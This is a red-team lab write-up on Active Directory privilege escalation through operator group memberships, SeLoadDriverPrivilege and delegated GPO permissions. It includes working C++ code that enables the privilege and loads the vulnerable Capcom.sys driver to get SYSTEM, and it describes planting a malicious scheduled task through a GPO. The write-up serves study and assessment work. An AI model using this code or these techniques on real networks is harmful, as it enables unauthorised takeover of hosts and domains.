Administrators, Domain Admins, Enterprise Admins are well known AD groups that allow for privilege escalation, that pentesters and red teamers will aim for in their engagements, but there are other account memberships and access token privileges that can also be useful during security assesments when chaining multiple attack vectors.
Account Operators
Allows creating non administrator accounts and groups on the domain
Allows logging in to the DC locally
Note the spotless' user membership:
However, we can still add new users:
As well as login to DC01 locally:
Server Operators
This membership allows users to configure Domain Controllers with the following privileges:
Allow log on locally
Back up files and directories
Change the system time
Change the time zone
Force shutdown from a remote system
Restore files and directories
Shut down the system
Note how we cannot access files on the DC with current membership:
However, if the user belongs to Server Operators:
The story changes:
Backup Operators
As with Server Operators membership, we can access the DC01 file system if we belong to Backup Operators:
SeLoadDriverPrivilege
A very dangerous privilege to assign to any user - it allows the user to load kernel drivers and execute code with kernel privilges aka NT\System. See how offense\spotless user has this privilege:
Whoami /priv shows the privilege is disabled by default:
However, the below code allows enabling that privilege fairly easily:
privileges.cpp
#include"stdafx.h"#include<windows.h>#include<stdio.h>intmain(){ TOKEN_PRIVILEGES tp; LUID luid;boolbEnablePrivilege(true); HANDLE hToken(NULL);OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken);if (!LookupPrivilegeValue(NULL, // lookup privilege on local systemL"SeLoadDriverPrivilege", // privilege to lookup &luid)) // receives LUID of privilege {printf("LookupPrivilegeValue error: %un",GetLastError());return FALSE; }tp.PrivilegeCount =1;tp.Privileges[0].Luid = luid;if (bEnablePrivilege) {tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; } // Enable the privilege or disable all privileges.if (!AdjustTokenPrivileges( hToken, FALSE,&tp,sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {printf("AdjustTokenPrivileges error: %x",GetLastError());return FALSE; }system("cmd");return0;}
We compile the above, execute and the privilege SeLoadDriverPrivilege is now enabled:
Capcom.sys Driver Exploit
To further prove the SeLoadDriverPrivilege is dangerous, let's exploit it to elevate privileges.
Let's build on the previous code and leverage the Win32 API call ntdll.NtLoadDriver() to load the malicious kernel driver Capcom.sys. Note that lines 55 and 56 of the privileges.cpp are:
The first one declares a string variable indicating where the vulnerable Capcom.sys driver is located on the victim system and the second one is a string variable indicating a service name that will be used (could be any service) when executing the exploit:
privileges.cpp
#include"stdafx.h"#include<windows.h>#include<stdio.h>#include<ntsecapi.h>#include<stdlib.h>#include<locale.h>#include<iostream>#include"stdafx.h"NTSTATUS(NTAPI *NtLoadDriver)(IN PUNICODE_STRING DriverServiceName);VOID(NTAPI *RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);NTSTATUS(NTAPI *NtUnloadDriver)(IN PUNICODE_STRING DriverServiceName);intmain(){ TOKEN_PRIVILEGES tp; LUID luid;boolbEnablePrivilege(true); HANDLE hToken(NULL);OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken);if (!LookupPrivilegeValue(NULL, // lookup privilege on local systemL"SeLoadDriverPrivilege", // privilege to lookup &luid)) // receives LUID of privilege {printf("LookupPrivilegeValue error: %un",GetLastError());return FALSE; }tp.PrivilegeCount =1;tp.Privileges[0].Luid = luid;if (bEnablePrivilege) {tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; } // Enable the privilege or disable all privileges.if (!AdjustTokenPrivileges( hToken, FALSE,&tp,sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {printf("AdjustTokenPrivileges error: %x",GetLastError());return FALSE; } //system("cmd"); // below code for loading drivers is taken from https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/RDI/dll/NtLoadDriver.h
std::cout <<"[+] Set Registry Keys"<< std::endl; NTSTATUS st1; UNICODE_STRING pPath; UNICODE_STRING pPathReg; PCWSTR pPathSource =L"C:\\experiments\\privileges\\Capcom.sys"; PCWSTR pPathSourceReg =L"\\registry\\machine\\System\\CurrentControlSet\\Services\\SomeService";constchar NTDLL[] = { 0x6e,0x74,0x64,0x6c,0x6c,0x2e,0x64,0x6c,0x6c,0x00 }; HMODULE hObsolete =GetModuleHandleA(NTDLL);*(FARPROC *)&RtlInitUnicodeString =GetProcAddress(hObsolete,"RtlInitUnicodeString");*(FARPROC *)&NtLoadDriver =GetProcAddress(hObsolete,"NtLoadDriver");*(FARPROC *)&NtUnloadDriver =GetProcAddress(hObsolete,"NtUnloadDriver");RtlInitUnicodeString(&pPath, pPathSource);RtlInitUnicodeString(&pPathReg, pPathSourceReg); st1 =NtLoadDriver(&pPathReg); std::cout <<"[+] value of st1: "<< st1 <<"\n";if (st1 == ERROR_SUCCESS) { std::cout <<"[+] Driver Loaded as Kernel..\n"; std::cout <<"[+] Press [ENTER] to unload driver\n"; }getchar(); st1 =NtUnloadDriver(&pPathReg);if (st1 == ERROR_SUCCESS) { std::cout <<"[+] Driver unloaded from Kernel..\n"; std::cout <<"[+] Press [ENTER] to exit\n";getchar(); }return0;}
Once the above code is compiled and executed, we can see that our malicious Capcom.sys driver gets loaded onto the victim system:
We can now download and compile the Capcom exploit from https://github.com/tandasat/ExploitCapcom and execute it on the system to elevate our privileges to NT Authority\System:
GPO Delegation
Sometimes, certain users/groups may be delegated access to manage Group Policy Objects as is the case with offense\spotless user:
The below indicates that the user offense\spotless has WriteProperty, WriteDacl, WriteOwner privileges among a couple of others that are ripe for abuse:
More about general AD ACL/ACE abuse refer to the lab:
Abusing the GPO Permissions
We know the above ObjectDN from the above screenshot is referring to the New Group Policy Object GPO since the ObjectDN points to CN=Policies and also the CN={DDC640FF-634A-4442-BC2E-C05EED132F0C} which is the same in the GPO settings as highlighted below:
If we want to search for misconfigured GPOs specifically, we can chain multiple cmdlets from PowerSploit like so:
The above will add our user spotless to the local administrators group of the compromised box. Note how prior to the code execution the group does not contain user spotless:
Force Policy Update
ScheduledTask and its code will execute after the policy updates are pushed through (roughly each 90 minutes), but we can force it with gpupdate /force and see that our user spotless now belongs to local administrators group:
Under the hood
If we observe the Scheduled Tasks of the Misconfigured Policy GPO, we can see our evilTask sitting there:
Below is the XML file that got created by New-GPOImmediateTask that represents our evil scheduled task in the GPO:
The same privilege escalation could be achieved by abusing the GPO Users and Groups feature. Note in the below file, line 6 where the user spotless is added to the local administrators group - we could change the user to something else, add another one or even add the user to another group/multiple groups since we can amend the policy configuration file in the shown location due to the GPO delegation assigned to our user spotless:
Additionally, we could think about leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues.
